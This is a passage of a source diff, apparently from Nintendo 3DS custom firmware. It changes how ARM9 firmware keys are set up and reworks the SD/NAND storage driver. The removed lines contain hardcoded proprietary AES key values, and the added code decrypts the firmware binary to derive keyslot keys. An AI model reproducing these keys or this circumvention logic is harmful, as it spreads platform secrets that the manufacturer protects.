{0xEA, 0xBA, 0x98, 0x4C, 0x9C, 0xB7, 0x66, 0xD4, 0xA3, 0xA7, 0xE9, 0x74, 0xE2, 0xE7, 0x13, 0xA3}; - u8 keyX1B[16] = {0x45, 0xAD, 0x04, 0x95, 0x39, 0x92, 0xC7, 0xC8, 0x93, 0x72, 0x4A, 0x9A, 0x7B, 0xCE, 0x61, 0x82}; - u8 keyX1C[16] = {0xC3, 0x83, 0x0F, 0x81, 0x56, 0xE3, 0x54, 0x3B, 0x72, 0x3F, 0x0B, 0xC0, 0x46, 0x74, 0x1E, 0x8F}; - u8 keyX1D[16] = {0xD6, 0xB3, 0x8B, 0xC7, 0x59, 0x41, 0x75, 0x96, 0xD6, 0x19, 0xD6, 0x02, 0x9D, 0x13, 0xE0, 0xD8}; - u8 keyX1E[16] = {0xBB, 0x62, 0x3A, 0x97, 0xDD, 0xD7, 0x93, 0xD7, 0x57, 0xC4, 0x10, 0x4B, 0x8D, 0x9F, 0xB9, 0x69}; - u8 keyX1F[16] = {0x4C, 0x28, 0xEC, 0x6E, 0xFF, 0xA3, 0xC2, 0x36, 0x46, 0x07, 0x8B, 0xBA, 0x35, 0x0C, 0x79, 0x95}; - aes_setkey(0x18, keyX18, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x19, keyX19, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1A, keyX19, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1B, keyX1B, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1C, keyX1C, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1D, keyX1D, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1E, keyX1E, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1F, keyX1F, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - - /* - //data at armHdr+0x8A804 (its not in FCRAM for whatever reason) - u8 encryptedData1[0x10] = { - 0xA4, 0x8D, 0xE4, 0xF1, 0x0B, 0x36, 0x44, 0xAA, 0x90, 0x31, 0x28, 0xFF, - 0x4D, 0xCA, 0x76, 0xDF - }; - //data at armHdr+0x8A814 (its not in FCRAM for whatever reason) - u8 encryptedData2[0x10] = { - 0xDD, 0xDA, 0xA4, 0xC6, 0x2C, 0xC4, 0x50, 0xE9, 0xDA, 0xB6, 0x9B, 0x0D, - 0x9D, 0x2A, 0x21, 0x98 - }; - - //Set key 0x18 keyX - u8 keyX18[0x10]; - aes(keyX18, encryptedData1, 1, NULL, AES_ECB_DECRYPT_MODE, 0); - aes_setkey(0x18, keyX18, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - - //Set key 0x11 normalkey - aes_setkey(0x11, key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_use_keyslot(0x11); - - //Set keys 0x19..0x1F keyXs - u8 keyTemp[0x10]; - u8 keys[7][0x10]; - aes_use_keyslot(0x11); - int i; for(i = 0; i < 7; i++) { - aes(keyTemp, encryptedData2, 1, NULL, AES_ECB_DECRYPT_MODE, 0); - encryptedData2[0x0F]++; - memcpy(keys[i], keyTemp, 0x10); - } - aes_setkey(0x19, keys[0], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1A, keys[1], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1B, keys[2], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1C, keys[3], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1D, keys[4], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1E, keys[5], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); - aes_setkey(0x1F, keys[6], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);*/ + //Decrypt arm9bin + aes((void *)(armHdr+0x800), (void *)(armHdr+0x800), size/AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL); + + //Set keys 0x19..0x1F keyXs + u8* decKey = (void *)((uintptr_t)armHdr+0x8A824); + aes_use_keyslot(0x11); + for(slot = 0x19; slot < 0x20; slot++) { + aes_setkey(0x11, (u8*)key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL); + aes(decKey, (void *)((uintptr_t)armHdr+0x8A814), 1, NULL, AES_ECB_DECRYPT_MODE, 0); + aes_setkey(slot, (u8*)decKey, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL); + *(u8 *)((void *)((uintptr_t)armHdr+0x8A814+0xF)) += 1; } } \ No newline at end of file diff --git a/source/crypto.h b/source/crypto.h index 6c08729..5a807f6 100644 --- a/source/crypto.h +++ b/source/crypto.h @@ -131,9 +131,6 @@ void rsa_use_keyslot(u32 keyslot); int rsa_verify(const void* data, u32 size, const void* sig, u32 mode); //NAND/FIRM stuff -void getNandCTR(u8 *buf); -void nandFirm0(u8 *outbuf, const u32 size); -void arm9loader(void *armHdr, u32 kversion); -void setKeys(kversion); +void arm9loader(void *armHdr); #endif /*__CRYPTO_H*/ diff --git a/source/draw.c b/source/draw.c index 4bf6c70..29994c8 100644 --- a/source/draw.c +++ b/source/draw.c @@ -17,4 +17,5 @@ void clearScreen(void){ void loadSplash(void){ clearScreen(); fileRead(fb->top_left, "/rei/splash.bin", 0x46500); + unsigned i,t; for(t=120;t>0;t--){for(i=0xFFFF;i>0;i--);}; //Ghetto sleep func } \ No newline at end of file diff --git a/source/fatfs/diskio.c b/source/fatfs/diskio.c index 0eb8eb9..9e379e4 100644 --- a/source/fatfs/diskio.c +++ b/source/fatfs/diskio.c @@ -16,11 +16,11 @@ /*-----------------------------------------------------------------------*/ DSTATUS disk_status ( - __attribute__((unused)) - BYTE pdrv /* Physical drive nmuber to identify the drive */ + __attribute__((unused)) + BYTE pdrv /* Physical drive nmuber to identify the drive */ ) { - return RES_OK; + return RES_OK; } @@ -31,10 +31,10 @@ DSTATUS disk_status ( DSTATUS disk_initialize ( __attribute__((unused)) - BYTE pdrv /* Physical drive nmuber to identify the drive */ + BYTE pdrv /* Physical drive nmuber to identify the drive */ ) { - sdmmc_sdcard_init(); + sdmmc_sdcard_init(); return RES_OK; } @@ -46,15 +46,15 @@ DSTATUS disk_initialize ( DRESULT disk_read ( __attribute__((unused)) - BYTE pdrv, /* Physical drive nmuber to identify the drive */ + BYTE pdrv, /* Physical drive nmuber to identify the drive */ BYTE *buff, /* Data buffer to store read data */ DWORD sector, /* Sector address in LBA */ UINT count /* Number of sectors to read */ ) { - if (sdmmc_sdcard_readsectors(sector, count, buff)) { - return RES_PARERR; - } + if (sdmmc_sdcard_readsectors(sector, count, buff)) { + return RES_PARERR; + } return RES_OK; } @@ -67,33 +67,34 @@ DRESULT disk_read ( #if _USE_WRITE DRESULT disk_write ( - __attribute__((unused)) + __attribute__((unused)) BYTE pdrv, /* Physical drive nmuber to identify the drive */ const BYTE *buff, /* Data to be written */ DWORD sector, /* Sector address in LBA */ UINT count /* Number of sectors to write */ ) { - if (sdmmc_sdcard_writesectors(sector, count, (BYTE *)buff)) { - return RES_PARERR; - } + if (sdmmc_sdcard_writesectors(sector, count, (BYTE *)buff)) { + return RES_PARERR; + } return RES_OK; } #endif + /*-----------------------------------------------------------------------*/ /* Miscellaneous Functions */ /*-----------------------------------------------------------------------*/ #if _USE_IOCTL DRESULT disk_ioctl ( - __attribute__((unused)) + __attribute__((unused)) BYTE pdrv, /* Physical drive nmuber (0..) */ - __attribute__((unused)) + __attribute__((unused)) BYTE cmd, /* Control code */ - __attribute__((unused)) + __attribute__((unused)) void *buff /* Buffer to send/receive control data */ ) { diff --git a/source/fatfs/ffconf.h b/source/fatfs/ffconf.h index bd5ffa8..4b863c6 100644 --- a/source/fatfs/ffconf.h +++ b/source/fatfs/ffconf.h @@ -23,7 +23,7 @@ / and optional writing functions as well. */ -#define _FS_MINIMIZE 1 +#define _FS_MINIMIZE 0 /* This option defines minimization level to remove some basic API functions. / / 0: All basic functions are enabled. diff --git a/source/fatfs/sdmmc/delay.s b/source/fatfs/sdmmc/delay.s index b3baccd..3a2cfdf 100644 --- a/source/fatfs/sdmmc/delay.s +++ b/source/fatfs/sdmmc/delay.s @@ -1,17 +1,15 @@ -// Copyright 2014 Normmatt -// Licensed under GPLv2 or any later version -// Refer to the license.txt file included. - .arm -.global ioDelay -.type ioDelay STT_FUNC +.global waitcycles +.type waitcycles STT_FUNC -@ioDelay ( u32 us ) -ioDelay: - ldr r1, =0x18000000 @ VRAM -1: - @ Loop doing uncached reads from VRAM to make loop timing more reliable - ldr r2, [r1] - subs r0, #1 - bgt 1b - bx lr +@waitcycles ( u32 us ) +waitcycles: + PUSH {R0-R2,LR} + STR R0, [SP,#4] + waitcycles_loop: + LDR R3, [SP,#4] + SUBS R2, R3, #1 + STR R2, [SP,#4] + CMP R3, #0 + BNE waitcycles_loop + POP {R0-R2,PC} diff --git a/source/fatfs/sdmmc/sdmmc.c b/source/fatfs/sdmmc/sdmmc.c index f6a0f97..eec1bb6 100644 --- a/source/fatfs/sdmmc/sdmmc.c +++ b/source/fatfs/sdmmc/sdmmc.c @@ -1,467 +1,616 @@ -// Copyright 2014 Normmatt -// Licensed under GPLv2 or any later version -// Refer to the license.txt file included. +/* + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this file, + * You can obtain one at http://mozilla.org/MPL/2.0/. + * + * Copyright (c) 2014, Normmatt + * + * Alternatively, the contents of this file may be used under the terms + * of the GNU General Public License Version 2, as described below: + * + * This file is free software: you may copy, redistribute and/or modify + * it under the terms of the GNU General Public License as published by the + * Free Software Foundation, either version 2 of the License, or (at your + * option) any later version. + * + * This file is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General + * Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see http://www.gnu.org/licenses/. + */ -#include "common.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include #include "sdmmc.h" -#include "delay.h" +//#include "DrawCharacter.h" //Uncomment to enable 32bit fifo support? //not currently working -//#define DATA32_SUPPORT +#define DATA32_SUPPORT -static struct mmcdevice handleNAND; -static struct mmcdevice handleSD; +#define TRUE 1 +#define FALSE 0 + +#define bool int + +#define NO_INLINE __attribute__ ((noinline)) + +#define RGB(r,g,b) (r<<24|b<<16|g<<8|r) + +#ifdef __cplusplus +extern "C" { +#endif + void waitcycles(uint32_t val); +#ifdef __cplusplus +}; +#endif + +//#define DEBUG_SDMMC + +#ifdef DEBUG_SDMMC + extern uint8_t* topScreen; + extern void DrawHexWithName(unsigned char *screen, const char *str, unsigned int hex, int x, int y, int color, int bgcolor); + #define DEBUGPRINT(scr,str,hex,x,y,color,bg) DrawHexWithName(scr,str,hex,x,y,color,bg) +#else + #define DEBUGPRINT(...) +#endif + +//extern "C" void sdmmc_send_command(struct mmcdevice *ctx, uint32_t cmd, uint32_t args); +//extern "C" void inittarget(struct mmcdevice *ctx); +//extern "C" int SD_Init(); +//extern "C" int SD_Init2(); +//extern "C" int Nand_Init2(); +//extern "C" void InitSD(); + +struct mmcdevice handelNAND; +struct mmcdevice handelSD; mmcdevice *getMMCDevice(int drive) { - if(drive==0) return &handleNAND; - return &handleSD; + if(drive==0) return &handelNAND; + return &handelSD; } -int __attribute__((noinline)) geterror(struct mmcdevice *ctx) +int geterror(struct mmcdevice *ctx) { - //if(ctx->error == 0x4) return -1; - //else return 0; - return (ctx->error << 29) >> 31; + return (ctx->error << 29) >> 31; } -void __attribute__((noinline)) inittarget(struct mmcdevice *ctx) +void inittarget(struct mmcdevice *ctx) { - sdmmc_mask16(REG_SDPORTSEL,0x3,(u16)ctx->devicenumber); - setckl(ctx->clk); - if (ctx->SDOPT == 0) { - sdmmc_mask16(REG_SDOPT, 0, 0x8000); - } else { - sdmmc_mask16(REG_SDOPT, 0x8000, 0); - } - + sdmmc_mask16(REG_SDPORTSEL,0x3,(uint16_t)ctx->devicenumber); + setckl(ctx->clk); + if(ctx->SDOPT == 0) + { + sdmmc_mask16(REG_SDOPT,0,0x8000); + } + else + { + sdmmc_mask16(REG_SDOPT,0x8000,0); + } + } -void __attribute__((noinline)) sdmmc_send_command(struct mmcdevice *ctx, u32 cmd, u32 args) +void NO_INLINE sdmmc_send_command(struct mmcdevice *ctx, uint32_t cmd, uint32_t args) { - bool getSDRESP = (cmd << 15) >> 31; - u16 flags = (cmd << 15) >> 31; - const bool readdata = cmd & 0x20000; - const bool writedata = cmd & 0x40000; - - if (readdata || writedata) - flags |= TMIO_STAT0_DATAEND; - - ctx->error = 0; - while (sdmmc_read16(REG_SDSTATUS1) & TMIO_STAT1_CMD_BUSY); //mmc working? - sdmmc_write16(REG_SDIRMASK0,0); - sdmmc_write16(REG_SDIRMASK1,0); - sdmmc_write16(REG_SDSTATUS0,0); - sdmmc_write16(REG_SDSTATUS1,0); - + bool getSDRESP = (cmd << 15) >> 31; + uint16_t flags = (cmd << 15) >> 31; + const bool readdata = cmd & 0x20000; + const bool writedata = cmd & 0x40000; + + if(readdata || writedata) + { + flags |= TMIO_STAT0_DATAEND; + } + + ctx->error = 0; + while((sdmmc_read16(REG_SDSTATUS1) & TMIO_STAT1_CMD_BUSY)); //mmc working? + sdmmc_write16(REG_SDIRMASK0,0); + sdmmc_write16(REG_SDIRMASK1,0); + sdmmc_write16(REG_SDSTATUS0,0); + sdmmc_write16(REG_SDSTATUS1,0); #ifdef DATA32_SUPPORT - if (readdata) - sdmmc_mask16(REG_SDDATACTL32, 0x1000, 0x800); - if (writedata) - sdmmc_mask16(REG_SDDATACTL32, 0x800, 0x1000); +// if(readdata)sdmmc_mask16(REG_DATACTL32, 0x1000, 0x800); +// if(writedata)sdmmc_mask16(REG_DATACTL32, 0x800, 0x1000); +// sdmmc_mask16(REG_DATACTL32,0x1800,2); #else - sdmmc_mask16(REG_SDDATACTL32,0x1800,0); + sdmmc_mask16(REG_DATACTL32,0x1800,0); #endif - - sdmmc_write16(REG_SDCMDARG0,args &0xFFFF); - sdmmc_write16(REG_SDCMDARG1,args >> 16); - sdmmc_write16(REG_SDCMD,cmd &0xFFFF); - - u32 size = ctx->size; - u16 *dataPtr = (u16*)ctx->data; - + sdmmc_write16(REG_SDCMDARG0,args &0xFFFF); + sdmmc_write16(REG_SDCMDARG1,args >> 16); + sdmmc_write16(REG_SDCMD,cmd &0xFFFF); + + uint32_t size = ctx->size; + uint16_t *dataPtr = (uint16_t*)ctx->data; + uint32_t *dataPtr32 = (uint32_t*)ctx->data; + + bool useBuf = ( NULL != dataPtr ); + bool useBuf32 = (useBuf && (0 == (3 & ((uint32_t)dataPtr)))); + + uint16_t status0 = 0; + while(1) + { + volatile uint16_t status1 = sdmmc_read16(REG_SDSTATUS1); #ifdef DATA32_SUPPORT - u32 *dataPtr32 = (u32*)ctx->data; -#endif - - bool useBuf = ( NULL != dataPtr ); - -#ifdef DATA32_SUPPORT - bool useBuf32 = (useBuf && (0 == (3 & ((u32)dataPtr)))); -#endif - - u16 status0 = 0; - while(true) { - u16 status1 = sdmmc_read16(REG_SDSTATUS1); - if (status1 & TMIO_STAT1_RXRDY) { - if (readdata && useBuf) { - sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_RXRDY, 0); - //sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_RXRDY); - if (size > 0x1FF) { -#ifdef DATA32_SUPPORT - if (useBuf32) { - for(int i = 0; i<0x200; i+=4) - *dataPtr32++ = sdmmc_read32(REG_SDFIFO32); - } else { -#endif - for(int i = 0; i<0x200; i+=2) - *dataPtr++ = sdmmc_read16(REG_SDFIFO); -#ifdef DATA32_SUPPORT - } -#endif - size -= 0x200; - } - } - } - - if (status1 & TMIO_STAT1_TXRQ) { - if (writedata && useBuf) { - sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_TXRQ, 0); - //sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_TXRQ); - if (size > 0x1FF) { -#ifdef DATA32_SUPPORT - for (int i = 0; i<0x200; i+=4) - sdmmc_write32(REG_SDFIFO32,*dataPtr32++); + volatile uint16_t ctl32 = sdmmc_read16(REG_DATACTL32); + if((ctl32 & 0x100)) #else - for (int i = 0; i<0x200; i+=2) - sdmmc_write16(REG_SDFIFO,*dataPtr++); + if((status1 & TMIO_STAT1_RXRDY)) #endif - size -= 0x200; - } - } - } - if (status1 & TMIO_MASK_GW) { - ctx->error |= 4; - break; - } - - if (!(status1 & TMIO_STAT1_CMD_BUSY)) { - status0 = sdmmc_read16(REG_SDSTATUS0); - if (sdmmc_read16(REG_SDSTATUS0) & TMIO_STAT0_CMDRESPEND) - ctx->error |= 0x1; - if (status0 & TMIO_STAT0_DATAEND) - ctx->error |= 0x2; - - if ((status0 & flags) == flags) - break; - } - } - ctx->stat0 = sdmmc_read16(REG_SDSTATUS0); - ctx->stat1 = sdmmc_read16(REG_SDSTATUS1); - sdmmc_write16(REG_SDSTATUS0,0); - sdmmc_write16(REG_SDSTATUS1,0); - - if (getSDRESP != 0) { - ctx->ret[0] = sdmmc_read16(REG_SDRESP0) | (sdmmc_read16(REG_SDRESP1) << 16); - ctx->ret[1] = sdmmc_read16(REG_SDRESP2) | (sdmmc_read16(REG_SDRESP3) << 16); - ctx->ret[2] = sdmmc_read16(REG_SDRESP4) | (sdmmc_read16(REG_SDRESP5) << 16); - ctx->ret[3] = sdmmc_read16(REG_SDRESP6) | (sdmmc_read16(REG_SDRESP7) << 16); - } -} - -int __attribute__((noinline)) sdmmc_sdcard_writesectors(u32 sector_no, u32 numsectors, u8 *in) -{ - if (handleSD.isSDHC == 0) - sector_no <<= 9; - inittarget(&handleSD); - sdmmc_write16(REG_SDSTOP,0x100); - + { + if(readdata) + { + if(useBuf) + { + sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_RXRDY, 0); + //sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_RXRDY); + if(size > 0x1FF) + { + #ifdef DATA32_SUPPORT + if(useBuf32) + { + for(int i = 0; i<0x200; i+=4) + { + *dataPtr32++ = sdmmc_read32(REG_SDFIFO32); + } + } + else + { + #endif + for(int i = 0; i<0x200; i+=2) + { + *dataPtr++ = sdmmc_read16(REG_SDFIFO); + } + #ifdef DATA32_SUPPORT + } + #endif + size -= 0x200; + } + } + + sdmmc_mask16(REG_DATACTL32, 0x800, 0); + } + } #ifdef DATA32_SUPPORT - sdmmc_write16(REG_SDBLKCOUNT32,numsectors); -#endif - - sdmmc_write16(REG_SDBLKCOUNT,numsectors); - handleSD.data = in; - handleSD.size = numsectors << 9; - sdmmc_send_command(&handleSD,0x52C19,sector_no); - return geterror(&handleSD); -} - -int __attribute__((noinline)) sdmmc_sdcard_readsectors(u32 sector_no, u32 numsectors, u8 *out) -{ - if (handleSD.isSDHC == 0) - sector_no <<= 9; - inittarget(&handleSD); - sdmmc_write16(REG_SDSTOP,0x100); - -#ifdef DATA32_SUPPORT - sdmmc_write16(REG_SDBLKCOUNT32,numsectors); - sdmmc_write16(REG_SDBLKLEN32,0x200); -#endif - - sdmmc_write16(REG_SDBLKCOUNT,numsectors); - handleSD.data = out; - handleSD.size = numsectors << 9; - sdmmc_send_command(&handleSD,0x33C12,sector_no); - return geterror(&handleSD); -} - - - -int __attribute__((noinline)) sdmmc_nand_readsectors(u32 sector_no, u32 numsectors, u8 *out) -{ - if (handleNAND.isSDHC == 0) - sector_no <<= 9; - inittarget(&handleNAND); - sdmmc_write16(REG_SDSTOP,0x100); - -#ifdef DATA32_SUPPORT - sdmmc_write32(REG_SDBLKCOUNT32,numsectors); + if(!(ctl32 & 0x200)) #else - sdmmc_write16(REG_SDBLKCOUNT,numsectors); + if((status1 & TMIO_STAT1_TXRQ)) #endif - - handleNAND.data = out; - handleNAND.size = numsectors << 9; - sdmmc_send_command(&handleNAND,0x33C12,sector_no); - inittarget(&handleSD); - return geterror(&handleNAND); + { + if(writedata) + { + if(useBuf) + { + sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_TXRQ, 0); + //sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_TXRQ); + if(size > 0x1FF) + { + #ifdef DATA32_SUPPORT + for(int i = 0; i<0x200; i+=4) + { + sdmmc_write32(REG_SDFIFO32,*dataPtr32++); + } + #else + for(int i = 0; i<0x200; i+=2) + { + sdmmc_write16(REG_SDFIFO,*dataPtr++); + } + #endif + size -= 0x200; + } + } + + sdmmc_mask16(REG_DATACTL32, 0x1000, 0); + } + } + if(status1 & TMIO_MASK_GW) + { + ctx->error |= 4; + break; + } + + if(!(status1 & TMIO_STAT1_CMD_BUSY)) + { + status0 = sdmmc_read16(REG_SDSTATUS0); + if(sdmmc_read16(REG_SDSTATUS0) & TMIO_STAT0_CMDRESPEND) + { + ctx->error |= 0x1; + } + if(status0 & TMIO_STAT0_DATAEND) + { + ctx->error |= 0x2; + } + + if((status0 & flags) == flags) + break; + } + } + ctx->stat0 = sdmmc_read16(REG_SDSTATUS0); + ctx->stat1 = sdmmc_read16(REG_SDSTATUS1); + sdmmc_write16(REG_SDSTATUS0,0); + sdmmc_write16(REG_SDSTATUS1,0); + + if(getSDRESP != 0) + { + ctx->ret[0] = sdmmc_read16(REG_SDRESP0) | (sdmmc_read16(REG_SDRESP1) << 16); + ctx->ret[1] = sdmmc_read16(REG_SDRESP2) | (sdmmc_read16(REG_SDRESP3) << 16); + ctx->ret[2] = sdmmc_read16(REG_SDRESP4) | (sdmmc_read16(REG_SDRESP5) << 16); + ctx->ret[3] = sdmmc_read16(REG_SDRESP6) | (sdmmc_read16(REG_SDRESP7) << 16); + } } -int __attribute__((noinline)) sdmmc_nand_writesectors(u32 sector_no, u32 numsectors, u8 *in) //experimental +int NO_INLINE sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in) { - if (handleNAND.isSDHC == 0) - sector_no <<= 9; - inittarget(&handleNAND); - sdmmc_write16(REG_SDSTOP,0x100); - + if(handelSD.isSDHC == 0) sector_no <<= 9; + inittarget(&handelSD); + sdmmc_write16(REG_SDSTOP,0x100); #ifdef DATA32_SUPPORT - sdmmc_write32(REG_SDBLKCOUNT32,numsectors); -#else - sdmmc_write16(REG_SDBLKCOUNT,numsectors); + sdmmc_write16(REG_SDBLKCOUNT32,numsectors); + sdmmc_write16(REG_SDBLKLEN32,0x200); #endif - - handleNAND.data = in; - handleNAND.size = numsectors << 9; - sdmmc_send_command(&handleNAND,0x52C19,sector_no); - inittarget(&handleSD); - return geterror(&handleNAND); + sdmmc_write16(REG_SDBLKCOUNT,numsectors); + handelSD.data = in; + handelSD.size = numsectors << 9; + sdmmc_send_command(&handelSD,0x52C19,sector_no); + return geterror(&handelSD); } -u32 calcSDSize(u8* csd, int type) +int NO_INLINE sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out) { - u32 result = 0; - u8 temp = csd[0xE]; - //int temp3 = type; + if(handelSD.isSDHC == 0) sector_no <<= 9; + inittarget(&handelSD); + sdmmc_write16(REG_SDSTOP,0x100); +#ifdef DATA32_SUPPORT + sdmmc_write16(REG_SDBLKCOUNT32,numsectors); + sdmmc_write16(REG_SDBLKLEN32,0x200); +#endif + sdmmc_write16(REG_SDBLKCOUNT,numsectors); + handelSD.data = out; + handelSD.size = numsectors << 9; + sdmmc_send_command(&handelSD,0x33C12,sector_no); + return geterror(&handelSD); +} - switch (type) { - case -1: - type = temp >> 6; - break; - case 0: - { - u32 temp = (csd[0x7] << 0x2 | csd[0x8] << 0xA | csd[0x6] >> 0x6 | (csd[0x9] & 0xF) << 0x10) & 0xFFF; - u32 temp2 = temp * (1 << (csd[0x9] & 0xF)); - u32 retval = temp2 * (1 << (((csd[0x4] >> 7 | csd[0x5] << 1) & 7) + 2)); - result = retval >> 9; - break; - } - case 1: - result = (((csd[0x7] & 0x3F) << 0x10 | csd[0x6] << 8 | csd[0x5]) + 1) << 0xA; - break; - default: - result = 0; - break; - } - return result; + +int NO_INLINE sdmmc_nand_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out) +{ + if(handelNAND.isSDHC == 0) sector_no <<= 9; + inittarget(&handelNAND); + sdmmc_write16(REG_SDSTOP,0x100); +#ifdef DATA32_SUPPORT + sdmmc_write16(REG_SDBLKCOUNT32,numsectors); + sdmmc_write16(REG_SDBLKLEN32,0x200); +#endif + sdmmc_write16(REG_SDBLKCOUNT,numsectors); + handelNAND.data = out; + handelNAND.size = numsectors << 9; + sdmmc_send_command(&handelNAND,0x33C12,sector_no); + inittarget(&handelSD); + return geterror(&handelNAND); +} + +int NO_INLINE sdmmc_nand_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in) //experimental +{ + if(handelNAND.isSDHC == 0) sector_no <<= 9; + inittarget(&handelNAND); + sdmmc_write16(REG_SDSTOP,0x100); +#ifdef DATA32_SUPPORT + sdmmc_write16(REG_SDBLKCOUNT32,numsectors); + sdmmc_write16(REG_SDBLKLEN32,0x200); +#endif + sdmmc_write16(REG_SDBLKCOUNT,numsectors); + handelNAND.data = in; + handelNAND.size = numsectors << 9; + sdmmc_send_command(&handelNAND,0x52C19,sector_no); + inittarget(&handelSD); + return geterror(&handelNAND); +} + +static uint32_t calcSDSize(uint8_t* csd, int type) +{ + uint32_t result=0; + if(type == -1) type = csd[14] >> 6; + switch(type) + { + case 0: + { + uint32_t block_len=csd[9]&0xf; + block_len=1<>7)|((csd[5]&3)<<1); + mult=1<<(mult+2); + result=csd[8]&3; + result=(result<<8)|csd[7]; + result=(result<<2)|(csd[6]>>6); + result=(result+1)*mult*block_len/512; + } + break; + case 1: + result=csd[7]&0x3f; + result=(result<<8)|csd[6]; + result=(result<<8)|csd[5]; + result=(result+1)*1024; + break; + } + return result; } void InitSD() { - //NAND - handleNAND.isSDHC = 0; - handleNAND.SDOPT = 0; - handleNAND.res = 0; - handleNAND.initarg = 1; - handleNAND.clk = 0x80; - handleNAND.devicenumber = 1; - - //SD - handleSD.isSDHC = 0; - handleSD.SDOPT = 0; - handleSD.res = 0; - handleSD.initarg = 0; - handleSD.clk = 0x80; - handleSD.devicenumber = 0; - - //sdmmc_mask16(0x100,0x800,0); - //sdmmc_mask16(0x100,0x1000,0); - //sdmmc_mask16(0x100,0x0,0x402); - //sdmmc_mask16(0xD8,0x22,0x2); - //sdmmc_mask16(0x100,0x2,0); - //sdmmc_mask16(0xD8,0x22,0); - //sdmmc_write16(0x104,0); - //sdmmc_write16(0x108,1); - //sdmmc_mask16(REG_SDRESET,1,0); //not in new Version -- nintendo's code does this - //sdmmc_mask16(REG_SDRESET,0,1); //not in new Version -- nintendo's code does this - //sdmmc_mask16(0x20,0,0x31D); - //sdmmc_mask16(0x22,0,0x837F); - //sdmmc_mask16(0xFC,0,0xDB); - //sdmmc_mask16(0xFE,0,0xDB); - ////sdmmc_write16(REG_SDCLKCTL,0x20); - ////sdmmc_write16(REG_SDOPT,0x40EE); - ////sdmmc_mask16(0x02,0x3,0); - //sdmmc_write16(REG_SDCLKCTL,0x40); - //sdmmc_write16(REG_SDOPT,0x40EB); - //sdmmc_mask16(0x02,0x3,0); - //sdmmc_write16(REG_SDBLKLEN,0x200); - //sdmmc_write16(REG_SDSTOP,0); - - *(vu16*)0x10006100 &= 0xF7FFu; //SDDATACTL32 - *(vu16*)0x10006100 &= 0xEFFFu; //SDDATACTL32 + //NAND + handelNAND.isSDHC = 0; + handelNAND.SDOPT = 0; + handelNAND.res = 0; + handelNAND.initarg = 1; + handelNAND.clk = 0x80; + handelNAND.devicenumber = 1; + + //SD + handelSD.isSDHC = 0; + handelSD.SDOPT = 0; + handelSD.res = 0; + handelSD.initarg = 0; + handelSD.clk = 0x80; + handelSD.devicenumber = 0; + + //sdmmc_mask16(0x100,0x800,0); + //sdmmc_mask16(0x100,0x1000,0); + //sdmmc_mask16(0x100,0x0,0x402); + //sdmmc_mask16(0xD8,0x22,0x2); + //sdmmc_mask16(0x100,0x2,0); + //sdmmc_mask16(0xD8,0x22,0); + //sdmmc_write16(0x104,0); + //sdmmc_write16(0x108,1); + //sdmmc_mask16(REG_SDRESET,1,0); //not in new Version -- nintendo's code does this + //sdmmc_mask16(REG_SDRESET,0,1); //not in new Version -- nintendo's code does this + //sdmmc_mask16(0x20,0,0x31D); + //sdmmc_mask16(0x22,0,0x837F); + //sdmmc_mask16(0xFC,0,0xDB); + //sdmmc_mask16(0xFE,0,0xDB); + ////sdmmc_write16(REG_SDCLKCTL,0x20); + ////sdmmc_write16(REG_SDOPT,0x40EE); + ////sdmmc_mask16(0x02,0x3,0); + //sdmmc_write16(REG_SDCLKCTL,0x40); + //sdmmc_write16(REG_SDOPT,0x40EB); + //sdmmc_mask16(0x02,0x3,0); + //sdmmc_write16(REG_SDBLKLEN,0x200); + //sdmmc_write16(REG_SDSTOP,0); + + *(volatile uint16_t*)0x10006100 &= 0xF7FFu; //SDDATACTL32 + *(volatile uint16_t*)0x10006100 &= 0xEFFFu; //SDDATACTL32 #ifdef DATA32_SUPPORT - *(vu16*)0x10006100 |= 0x402u; //SDDATACTL32 + *(volatile uint16_t*)0x10006100 |= 0x402u; //SDDATACTL32 #else - *(vu16*)0x10006100 |= 0x402u; //SDDATACTL32 + *(volatile uint16_t*)0x10006100 |= 0x402u; //SDDATACTL32 #endif - *(vu16*)0x100060D8 = 